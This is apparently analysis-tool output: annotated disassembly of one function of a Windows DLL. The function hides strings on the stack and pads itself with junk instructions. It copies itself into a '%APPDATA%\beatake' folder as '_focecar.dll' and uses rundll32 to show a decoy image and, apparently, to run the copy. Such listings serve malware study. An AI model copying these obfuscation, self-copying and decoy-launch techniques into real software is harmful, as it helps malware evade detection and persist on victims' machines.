Function at 0x10002990
Capabilities:
Contain obfuscated stackstrings
Copy file
Create directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100030a0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x8d0
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
push ebp
nop
nop
mov ebp, esp
add esp, 1
sub esp, 1
inc ecx
dec ecx
add esp, 3
add esp, 0xfffffffd
nop
mov esp, ebp
nop
nop
pop ebp
xor eax, 1
add eax, 2
jne 0x100028d4
je 0x100028d4
call 0x9304195b
rol byte [ebx + eax*4], 0xf0
add eax, 0xec8b9055
xor eax, 3
add eax, 4
xor eax, 5
push ebp
nop
mov ebp, esp
add esp, 4
add esp, 0xfffffffc
add esp, 9
add esp, 0xfffffff7
test esi, esi
inc ecx
dec ecx
nop
mov esp, ebp
pop ebp
push ebp
nop
mov ebp, esp
add esp, 4
add esp, 0xfffffffc
inc ecx
dec ecx
add esp, 6
sub esp, 6
inc ecx
dec ecx
nop
mov esp, ebp
pop ebp
nop
nop
push str.PathRemoveFileSpecA
push str.Shlwapi.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x3c], eax
nop
push str.GetModuleFileNameA
push 0x10005074
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x20], eax
nop
push str.ExpandEnvironmentStringsA
push str.kernel32
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x28], 0
mov dword [ebp - 4], 0
lea eax, [0x10002990]
push ebp
nop
mov ebp, esp
add esp, 1
add esp, 0xffffffff
inc ecx
dec ecx
add esp, 2
add esp, 0xfffffffe
nop
nop
mov esp, ebp
nop
pop ebp
and eax, 0xfffff000
sub eax, 0x1000
push ebp
nop
mov ebp, esp
test esi, esi
add esp, 0xa
sub esp, 0xa
push 0xffffb736
mov esp, ebp
nop
pop ebp
cmp word [eax], 0x5a4d
jne 0x10002990
push ebp
nop
mov ebp, esp
inc ecx
dec ecx
inc ecx
dec ecx
add esp, 1
sub esp, 1
test esi, esi
nop
nop
mov esp, ebp
pop ebp
mov dword [ebp - 0x28], eax
jmp 0x100029d1
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], eax
push 0x104
push 0x10005148
mov ecx, dword [ebp - 0x28]
push ecx
call dword [ebp - 0x20]
nop
nop
push ebp
nop
mov ebp, esp
add esp, 3
sub esp, 3
inc ecx
dec ecx
add esp, 7
add esp, 0xfffffff9
mov esp, ebp
pop ebp
push 0x10005148
call dword [sym.imp.MSVCRT.dll__strlwr]
add esp, 4
mov byte [ebp - 0x38], 0
xor edx, edx
mov dword [ebp - 0x37], edx
mov dword [ebp - 0x33], edx
mov dword [ebp - 0x2f], edx
mov word [ebp - 0x2b], dx
mov byte [ebp - 0x29], dl
push str._focecar.dll
lea eax, [ebp - 0x38]
push eax
call sub.MSVCRT.dll_strcpy
add esp, 8
add esp, 4
add esp, 0xfffffffc
add esp, 9
add esp, 0xfffffff7
inc ecx
dec ecx
mov byte [ebp - 0x1c], 0
xor ecx, ecx
mov dword [ebp - 0x1b], ecx
mov dword [ebp - 0x17], ecx
mov word [ebp - 0x13], cx
mov byte [ebp - 0x11], cl
push str.beatake
lea edx, [ebp - 0x1c]
push edx
call sub.MSVCRT.dll_strcpy
add esp, 8
push ebp
nop
nop
mov ebp, esp
push ebx
pop ebx
inc ecx
dec ecx
test esi, esi
add esp, 4
add esp, 0xfffffffc
mov esp, ebp
nop
pop ebp
lea eax, [ebp - 0x38]
push eax
push 0x10005148
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
jne 0x10003031
nop
push ebp
mov ebp, esp
add esp, 3
add esp, 0xfffffffd
add esp, 7
sub esp, 7
test esi, esi
inc ecx
dec ecx
nop
nop
mov esp, ebp
pop ebp
mov byte [ebp - 0x164], 0
mov ecx, 7
xor eax, eax
lea edi, [ebp - 0x163]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x164], 0x25
mov byte [ebp - 0x163], 0x41
mov byte [ebp - 0x162], 0x50
mov byte [ebp - 0x161], 0x50
mov byte [ebp - 0x160], 0x44
mov byte [ebp - 0x15f], 0x41
mov byte [ebp - 0x15e], 0x54
mov byte [ebp - 0x15d], 0x41
mov byte [ebp - 0x15c], 0x25
mov byte [ebp - 0x15b], 0x5c
nop
nop
push ebp
nop
mov ebp, esp
test esi, esi
inc ecx
dec ecx
push 0x7043
add esp, 0xa
add esp, 0xfffffff6
nop
mov esp, ebp
pop ebp
lea ecx, [ebp - 0x1c]
push ecx
lea edx, [ebp - 0x164]
push edx
call sub.MSVCRT.dll_strcat
add esp, 8
nop
nop
push ebp
mov ebp, esp
push 0x109d
inc ecx
dec ecx
nop
mov esp, ebp
nop
pop ebp
mov byte [ebp - 0x268], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x267]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x104
lea eax, [ebp - 0x268]
push eax
lea ecx, [ebp - 0x164]
push ecx
call dword [ebp - 0x40]
push 0
lea edx, [ebp - 0x268]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
nop
push ebp
mov ebp, esp
add esp, 8
sub esp, 8
add esp, 7
add esp, 0xfffffff9
test esi, esi
nop
nop
mov esp, ebp
nop
nop
pop ebp
mov byte [ebp - 0x8c4], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x8c3]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x268]
push eax
lea ecx, [ebp - 0x8c4]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x8c4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
lea ecx, [ebp - 0x8c4]
push ecx
push 0x10005148
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov byte [ebp - 0x8e0], 0
xor edx, edx
mov dword [ebp - 0x8df], edx
mov dword [ebp - 0x8db], edx
mov word [ebp - 0x8d7], dx
mov byte [ebp - 0x8d5], dl
mov byte [ebp - 0x8e0], 0x5c
mov byte [ebp - 0x8df], 0x74
mov byte [ebp - 0x8de], 0x65
mov byte [ebp - 0x8dd], 0x6d
mov byte [ebp - 0x8dc], 0x70
lea eax, [ebp - 0x8e0]
push eax
lea ecx, [ebp - 0x268]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
nop
push ebp
mov ebp, esp
test esi, esi
add esp, 6
sub esp, 6
inc ecx
dec ecx
add esp, 5
sub esp, 5
mov esp, ebp
nop
pop ebp
mov byte [ebp - 0x144], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x143]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x104
lea edx, [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x28]
push eax
call dword [ebp - 0x20]
push 0x5c
lea ecx, [ebp - 0x144]
push ecx
call fcn.10003080
add esp, 8
mov byte [eax], 0
lea edx, [ebp - 0x8e0]
push edx
lea eax, [ebp - 0x144]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
lea ecx, [ebp - 0x268]
push ecx
lea edx, [ebp - 0x144]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov byte [ebp - 0x7c0], 0
xor eax, eax
mov dword [ebp - 0x7bf], eax
mov word [ebp - 0x7bb], ax
mov byte [ebp - 0x7b9], al
mov byte [ebp - 0x7c0], 0x4f
mov byte [ebp - 0x7bf], 0x70
mov byte [ebp - 0x7be], 0x65
mov byte [ebp - 0x7bd], 0x6e
push str.ShellExecuteA
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x26c], eax
push 0x10005148
call dword [ebp - 0x3c]
mov byte [ebp - 0x378], 0
xor ecx, ecx
mov dword [ebp - 0x377], ecx
mov dword [ebp - 0x373], ecx
mov word [ebp - 0x36f], cx
mov byte [ebp - 0x36d], cl
mov byte [ebp - 0x378], 0x5c
mov byte [ebp - 0x377], 0x62
mov byte [ebp - 0x376], 0x62
mov byte [ebp - 0x375], 0x73
mov byte [ebp - 0x374], 0x2e
mov byte [ebp - 0x373], 0x62
mov byte [ebp - 0x372], 0x6d
mov byte [ebp - 0x371], 0x70
lea edx, [ebp - 0x378]
push edx
push 0x10005148
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push ebp
mov ebp, esp
add esp, 3
sub esp, 3
add esp, 5
add esp, 0xfffffffb
nop
mov esp, ebp
nop
pop ebp
mov byte [ebp - 0x778], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x777]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x7b8], 0
mov ecx, 0xf
xor eax, eax
lea edi, [ebp - 0x7b7]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x7b8], 0x73
mov byte [ebp - 0x7b7], 0x68
mov byte [ebp - 0x7b6], 0x69
mov byte [ebp - 0x7b5], 0x6d
mov byte [ebp - 0x7b4], 0x67
mov byte [ebp - 0x7b3], 0x76
mov byte [ebp - 0x7b2], 0x77
mov byte [ebp - 0x7b1], 0x2e
mov byte [ebp - 0x7b0], 0x64
mov byte [ebp - 0x7af], 0x6c
mov byte [ebp - 0x7ae], 0x6c
mov byte [ebp - 0x7ad], 0x2c
mov byte [ebp - 0x7ac], 0x49
mov byte [ebp - 0x7ab], 0x6d
mov byte [ebp - 0x7aa], 0x61
mov byte [ebp - 0x7a9], 0x67
mov byte [ebp - 0x7a8], 0x65
mov byte [ebp - 0x7a7], 0x56
mov byte [ebp - 0x7a6], 0x69
mov byte [ebp - 0x7a5], 0x65
mov byte [ebp - 0x7a4], 0x77
mov byte [ebp - 0x7a3], 0x5f
mov byte [ebp - 0x7a2], 0x46
mov byte [ebp - 0x7a1], 0x75
mov byte [ebp - 0x7a0], 0x6c
mov byte [ebp - 0x79f], 0x6c
mov byte [ebp - 0x79e], 0x73
mov byte [ebp - 0x79d], 0x63
mov byte [ebp - 0x79c], 0x72
mov byte [ebp - 0x79b], 0x65
mov byte [ebp - 0x79a], 0x65
mov byte [ebp - 0x799], 0x6e
push 0x10005148
lea eax, [ebp - 0x7b8]
push eax
push str._s__s
lea ecx, [ebp - 0x778]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov byte [ebp - 0x8d4], 0
xor edx, edx
mov dword [ebp - 0x8d3], edx
mov dword [ebp - 0x8cf], edx
mov dword [ebp - 0x8cb], edx
mov word [ebp - 0x8c7], dx
mov byte [ebp - 0x8c5], dl
mov byte [ebp - 0x8d4], 0x72
mov byte [ebp - 0x8d3], 0x75
mov byte [ebp - 0x8d2], 0x6e
mov byte [ebp - 0x8d1], 0x64
mov byte [ebp - 0x8d0], 0x6c
mov byte [ebp - 0x8cf], 0x6c
mov byte [ebp - 0x8ce], 0x33
mov byte [ebp - 0x8cd], 0x32
mov byte [ebp - 0x8cc], 0x2e
mov byte [ebp - 0x8cb], 0x65
mov byte [ebp - 0x8ca], 0x78
mov byte [ebp - 0x8c9], 0x65
push 5
push 0x100050e8
lea eax, [ebp - 0x778]
push eax
lea ecx, [ebp - 0x8d4]
push ecx
lea edx, [ebp - 0x7c0]
push edx
push 0
call dword [ebp - 0x26c]
nop
nop
push ebp
nop
nop
mov ebp, esp
add esp, 9
add esp, 0xfffffff7
inc ecx
dec ecx
add esp, 3
sub esp, 3
push ebx
pop ebx
nop
nop
mov esp, ebp
nop
nop
pop ebp
mov byte [ebp - 0x36c], 0
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0x36b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x8c4]
push ecx
push str.__s___s
lea edx, [ebp - 0x36c]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
nop
push ebp
nop
mov ebp, esp
inc ecx
dec ecx
test esi, esi
add esp, 9
add esp, 0xfffffff7
add esp, 3
add esp, 0xfffffffd
mov esp, ebp
nop
pop ebp
push 0x104
lea eax, [ebp - 0x268]
push eax
lea ecx, [ebp - 0x164]
push ecx
call dword [ebp - 0x40]
push 5
push 0x100050f4
lea edx, [ebp - 0x36c]
push edx
lea eax, [ebp - 0x8d4]
push eax
lea ecx, [ebp - 0x7c0]
push ecx
push 0
call dword [ebp - 0x26c]
jmp 0x10003067
nop
nop
push ebp
nop
mov ebp, esp
inc ecx
dec ecx
add esp, 4
add esp, 0xfffffffc
add esp, 4
sub esp, 4
mov esp, ebp
nop
nop
pop ebp
push 0
call fcn.1000262f
mov edx, 1
test edx, edx
je 0x10003067
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10003051
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret